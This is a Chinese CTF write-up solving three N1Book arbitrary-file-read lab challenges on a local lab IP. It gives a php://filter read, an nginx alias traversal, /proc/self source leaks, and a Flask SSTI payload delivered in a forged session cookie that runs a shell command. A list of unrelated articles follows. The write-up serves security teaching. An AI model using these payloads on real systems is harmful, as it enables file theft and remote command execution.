CTFer成长之路之任意文件读取漏洞

news2025/2/27 2:09:33

任意文件读取漏洞CTF

任意文件读取漏洞

afr_1

题目描述:

暂无

docker-compose.yml

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latest
    ports:
      - 80:80

启动方式

docker-compose up -d

题目Flag

n1book{afr_1_solved}

Writeup

访问url:http://192.168.10.22/?p=hello

在这里插入图片描述

本题是考查任意文件读取,利用php://协议,访问

http://192.168.10.22/?p=php://filter/convert.base64-encode/resource=flag

在这里插入图片描述

将得到的数据进行base64解码,得到flag:n1book{afr_1_solved}

在这里插入图片描述

afr_2

题目描述:

暂无

docker-compose.yml

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-2:latest
    ports:
      - 80:80

启动方式

docker-compose up -d

题目Flag

n1book{afr_2_solved}

Writeup

访问url:http://192.168.10.22/

在这里插入图片描述

本题是考查任意文件读取,访问 http://IP:PORT/img…/即可访问目录为/的文件(nginx错误配置)

访问url: http://192.168.10.22/img…/

在这里插入图片描述

即可得到目录文件,访问url:192.168.10.22/img…/flag

即可得到flag:n1book{afr_2_solved}

在这里插入图片描述

afr_3

题目描述:

暂无

docker-compose.yml

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
    ports:
      - 5000:5000

启动方式

docker-compose up -d

题目Flag

n1book{afr_3_solved}

Writeup

本题考查对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入

访问url:http://192.168.10.22:5000/

在这里插入图片描述

输入ifconfig进行查询

在这里插入图片描述

继续点击article

在这里插入图片描述

请求http://192.168.10.22:5000/article?name=…/…/…/…/…/proc/self/cmdline获取当前执行系统命令,得到python server.py

在这里插入图片描述

请求 http://192.168.10.22:5000/article?name=…/…/…/…/…/proc/self/cwd/server.py获取源码

在这里插入图片描述

审计源码,发现flag在flag.py,flask的appkey在key.py,但是此处任意文件读取漏洞被过滤了关键词flag

源码里存在flask SSTI,前提是可以伪造flask的cookie,这里需要用到appkey https://noraj.github.io/flask-session-cookie-manager/

@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
     '''
     这里存在SSTI
     '''
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)

所以请求

http://192.168.10.22:5000/article?name=…/…/…/…/…/proc/self/cwd/key.py

获取appkey

#!/usr/bin/python key = ‘Drmhze6EPcv0fN_81Bj-nA’

在这里插入图片描述

伪造cookie为SSTI的payload获取flag.

{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}

得到cookie的值为

eyJuMWNvZGUiOm51bGx9.YB5YLg.zvCvxG173uppSx0eYLBbzVdYKSk

在这里插入图片描述

安装Flask Session Cookie Decoder/Encoder

git clone https://github.com/noraj/flask-session-cookie-manager.git && cd flask-session-cookie-manager

Decode

python3 flask_session_cookie_manager3.py decode -c ‘eyJuMWNvZGUiOm51bGx9.YB5YLg.zvCvxG173uppSx0eYLBbzVdYKSk’ -s ‘Drmhze6EPcv0fN_81Bj-nA’

得到{‘n1code’: None}

在这里插入图片描述

如图所示方式进行加密

python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

得到加密后的cookie:

.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.Ev_wtA.71mFW-T5axswqE7F-u3jPywUWR4

在这里插入图片描述

修改session

在这里插入图片描述

获得flag:n1book{afr_3_solved}

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/361500.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【蓝桥集训】第六天——递归

作者&#xff1a;指针不指南吗 专栏&#xff1a;Acwing 蓝桥集训每日一题 &#x1f43e;或许会很慢&#xff0c;但是不可以停下来&#x1f43e; 文章目录1.树的遍历2.递归求阶乘3.求斐波那契数列1.树的遍历 一个二叉树&#xff0c;树中每个节点的权值互不相同。 现在给出它的后…

Python爬虫(9)selenium爬虫后数据,存入mongodb实现增删改查

之前的文章有关于更多操作方式详细解答&#xff0c;本篇基于前面的知识点进行操作&#xff0c;如果不了解可以先看之前的文章 Python爬虫&#xff08;1&#xff09;一次性搞定Selenium(新版)8种find_element元素定位方式 Python爬虫&#xff08;2&#xff09;-Selenium控制浏览…

字符串(一)-- LeetCode[3] 无重复字符的最长子串

1 无重复字符的最长子串 1.1 题目描述 给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的最长子串的长度。 示例 1: 输入: s “abcabcbb” 输出: 3 解释: 因为无重复字符的最长子串是 “abc”&#xff0c;所以其长度为 3。 示例 2: 输入: s “bbbbb” 输出: 1 解释…

gulimall技术栈笔记

文章目录1.项目背景1.1电商模式1.2谷粒商城2.项目架构图3.项目技术&特色4.项目前置要求5.分布式基础概念5.1微服务5.2集群&分布式&节点5.3远程调用5.4负载均衡5.5服务注册/发现&注册中心5.6配置中心5.7服务熔断&服务降级5.7.1服务熔断5.7.2服务降级5.8API网…

MyBatis-XML映射文件详解

一、XML 映射器 1.概述 使用 xml 文件去配置 SQL 代码&#xff0c;比传统的 jdbc 简单方便&#xff0c;能够少写代码&#xff0c;减少使用成本&#xff0c;提高工作效率。 1.1SQL 映射文件中的顶级元素 cache – 该命名空间的缓存配置。 cache-ref – 引用其它命名空间的缓…

OpenEuler(树莓派)安装MQTT服务器

mosquitto是比较常用的MQTT服务器&#xff0c;它本身也是开源的。这篇文章以mosquitto为例&#xff0c;说明如何在安装了OpenEuler的树莓派上安装mosquitto 1. 安装依赖openssl-devel 可以通过命令执行&#xff1a; dnf install openssl-devel因为树莓派网络原因&#xff0c;…

算法比赛——必备的数论知识

秋名山码民的主页 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f64f;作者水平有限&#xff0c;如发现错误&#xff0c;还请私信或者评论区留言&#xff01; 目录一、欧几里得二、扩展欧几里得三、算术基本定理四、线性筛选求质数五…

WSO2通过设定Role来订阅对应的Api

WSO2通过设定Role来订阅对应的Api1. Add Role And User1.0 Add Role1.1 Add User 1.2 Add Mapping2. Upload Api2.1 Upload Three Apis2.2 Inspection3. AwakeningWSO2安装使用的全过程详解: https://blog.csdn.net/weixin_43916074/article/details/127987099. 1. Add Role An…

硬件学习 软件Cadence day06 原理图网表导入PCB (过程和操作的错误),开始的画板

1.新建一个制作芯片的工程 1.打开 File ->New 2.填写信息&#xff0c;设置路径 2.原理图的网表导入 1.打开这个窗口 File -> import ->Logic.. 2.确定信息 3.解决网表导入时出现的错误 1. 第一个案列 (没有找到文件 也是这个) 比如说&#xff1a; WARNING(…

[蓝桥杯] 递归与递推习题训练

文章目录 一、递归实现指数型枚举 1、1 题目描述 1、2 题解关键思路与解答 二、递归实现排列型枚举 2、1 题目描述 2、2 题解关键思路与解答 三、递归实现组合型枚举 3、1 题目描述 3、2 题解关键思路与解答 四、带分数 4、1 题目描述 4、2 题解关键思路与解答 五、费解的开关…

基于STM32设计的倒车雷达系统(超声波模块多方位测距应用)

一、项目背景 汽车高科技产品家族中,专为倒车泊位设置的“倒车雷达”应运而生,倒车雷达的加装可以解决驾驶人员的后顾之忧,大大降低到车事故的发生。汽车倒车雷达全称为“倒车防撞雷达”,也叫“泊车辅助装置”,是汽车泊车安全辅助装置,能以声音或者更为直观的显示来告知…

比特数据结构与算法(第三章_下)队列的概念和实现(力扣:225+232+622)

一、队列&#xff08;Queue&#xff09;队列的概念&#xff1a;① 队列只允许在一端进行插入数据操作&#xff0c;在另一端进行删除数据操作的特殊线性表。② 入队列&#xff0c;进行插入操作的一端称为 队尾。出队列&#xff0c;进行删除操作的一端称为 队头。③ 队列中的元素…

小公司“混”的3年,我认真做了5件事,真的受益终生

小公司“混”的3年&#xff0c;我认真做了5件事&#xff0c;真的受益终生 目录&#xff1a;导读 功能测试很重要但不值钱 自动化测试在小公司没市场&#xff0c;但是你得会 给自己的一些忠告 第一件事&#xff1a;分清阶段&#xff0c;制定计划 第二件事&#xff1a;梳理…

SQL零基础入门学习(三)

SQL零基础入门学习&#xff08;二&#xff09; SQL WHERE 子句 WHERE 子句用于提取那些满足指定条件的记录。 SQL WHERE 语法 SELECT column1, column2, ... FROM table_name WHERE condition;参数说明&#xff1a; column1, column2, …&#xff1a;要选择的字段名称&…

进程或线程终止是否会释放锁

线程锁的必要性比如一个多线程抢票程序&#xff0c;tickets作为临界资源&#xff0c;所有的线程都要对它进行判断ticket是否大于0&#xff0c;以及ticket–的操作。用ticket–操作举例&#xff0c;虽然他看起来是一行C语言的代码&#xff0c;但是实际上它的底层汇编经历了三个阶…

OSS Compass 开源指南针发布,剑指开源生态健康

估量有尺&#xff0c;开源有道。2 月 21 日&#xff0c;开源指南针 OSS Compass 发布会在北京顺利举行。OSS Compass 的发布&#xff0c;标志着我国首个开源生态健康评估平台正式诞生。发布会上介绍了 OSS Compass 的理论研究及实践成果&#xff0c;公布了 OSS Compass 开源社区…

图解操作系统

硬件结构 CPU是如何执行程序的&#xff1f; 图灵机的工作方式 图灵机的基本思想&#xff1a;用机器来模拟人们用纸笔进行数学运算的过程&#xff0c;还定义了由计算机的那些部分组成&#xff0c;程序又是如何执行的。 图灵机的基本组成如下&#xff1a; 有一条「纸带」&am…

【数据库】redis 配置文件与发布订阅

目录 配置文件 一&#xff0c;Units 二&#xff0c; INCLUDE 三&#xff0c;NETWORK 1&#xff0c; bind 2&#xff0c; tcp-backlog 3&#xff0c;timeout 4&#xff0c; tcp-keepalive 四&#xff0c;GENERAL 1&#xff0c;daemonize 2&#xff0c; pidfile 3&…

ESP32设备驱动-内置霍尔磁力传感器数据读取

内置霍尔磁力传感器数据读取 文章目录 内置霍尔磁力传感器数据读取1、ESP32霍尔磁力传感器介绍2、软件准备3、硬件准备4、读取霍尔磁力传感值5、运行结果ESP32开发板具有内置霍尔效应传感器,可检测周围磁场的变化。本文将介绍如何在Arduino IDE中读取ESP32霍尔效应传感器的数据…

【VUE3.0_CSS功能】

CSS功能组件css作用域深度选择器&#xff08;标签名空格:deep(标签名)&#xff09;插槽选择器&#xff08;:soltted(标签名)&#xff09;全局选择器&#xff08;:global(类名)&#xff09;动态CSS&#xff08;v-bind&#xff09;useCSSModule拓展知识&#xff1a;deep的写法组件…